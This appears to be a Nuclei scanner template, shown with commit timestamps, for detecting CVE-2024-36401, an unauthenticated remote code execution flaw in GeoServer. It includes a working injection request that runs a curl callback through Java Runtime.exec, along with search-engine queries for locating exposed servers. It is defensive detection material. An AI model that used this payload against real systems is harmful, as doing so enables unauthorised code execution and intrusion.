2024-07-03 08:46:01 +00:00
id : CVE-2024-36401
info :
2024-07-03 18:39:15 +00:00
name : GeoServer RCE in Evaluating Property Name Expressions
2024-07-03 08:46:01 +00:00
author : DhiyaneshDk
severity : critical
description : |
In the GeoServer version prior to 2.25.1, 2.24.3 and 2.23.5 of GeoServer, multiple OGC request parameters allow Remote Code Execution (RCE) by unauthenticated users through specially crafted input against a default GeoServer installation due to unsafely evaluating property names as XPath expressions.
2024-07-04 08:32:33 +00:00
impact : |
This vulnerability can lead to executing arbitrary code.
2024-07-03 08:46:01 +00:00
reference :
- https://x.com/sirifu4k1/status/1808270303275241607
- https://nvd.nist.gov/vuln/detail/CVE-2024-36401
2024-07-03 18:39:15 +00:00
- https://github.com/vulhub/vulhub/tree/master/geoserver/CVE-2024-36401
- https://github.com/advisories/GHSA-6jj6-gm7p-fcvv
2024-07-03 08:46:01 +00:00
metadata :
verified : true
max-request : 1
vendor : osgeo
product : geoserver
shodan-query : http.title:"geoserver"
fofa-query :
- title="geoserver"
2024-07-03 18:39:15 +00:00
- app="geoserver"
2024-07-03 08:46:01 +00:00
google-query : intitle:"geoserver"
tags : cve,cve2024,geoserver,rce,unauth
2024-07-03 18:39:15 +00:00
flow : |
if(http(1))
{
set("name",template.typename[0])
http(2)
}
2024-07-03 08:46:01 +00:00
http :
2024-07-03 18:39:15 +00:00
- raw :
- |
GET /geoserver/web/wicket/bookmarkable/org.geoserver.web.demo.MapPreviewPage HTTP/1.1
Host : {{Hostname}}
host-redirects : true
extractors :
- type : regex
name : typename
part : body
group : 1
regex :
- typeName=([^&\]]+)
internal : true
2024-07-03 08:46:01 +00:00
- raw :
- |
@timeout 20s
2024-07-03 18:39:15 +00:00
GET /geoserver/wfs?service=WFS&version=2.0.0&request=GetPropertyValue&typeNames={{name}}&valueReference=exec(java.lang.Runtime.getRuntime(),'curl+{{interactsh-url}}') HTTP/1.1
2024-07-03 08:46:01 +00:00
Host : {{Hostname}}
matchers-condition : and
matchers :
- type : word
part : interactsh_protocol
words :
- "dns"
- type : word
part : content_type
words :
- "application/xml"
2024-07-04 10:34:10 +00:00
# digest: 4a0a004730450220279aaebd1a369cf4592114ead904a1520e41ad97306683da9c89b53d278a40a3022100d045a6c3237dcc38c0af5dce4e225c736ea8361f759fb8fc444da9a24ab3c6ed:922c64590222798bb761d5b6d8e72950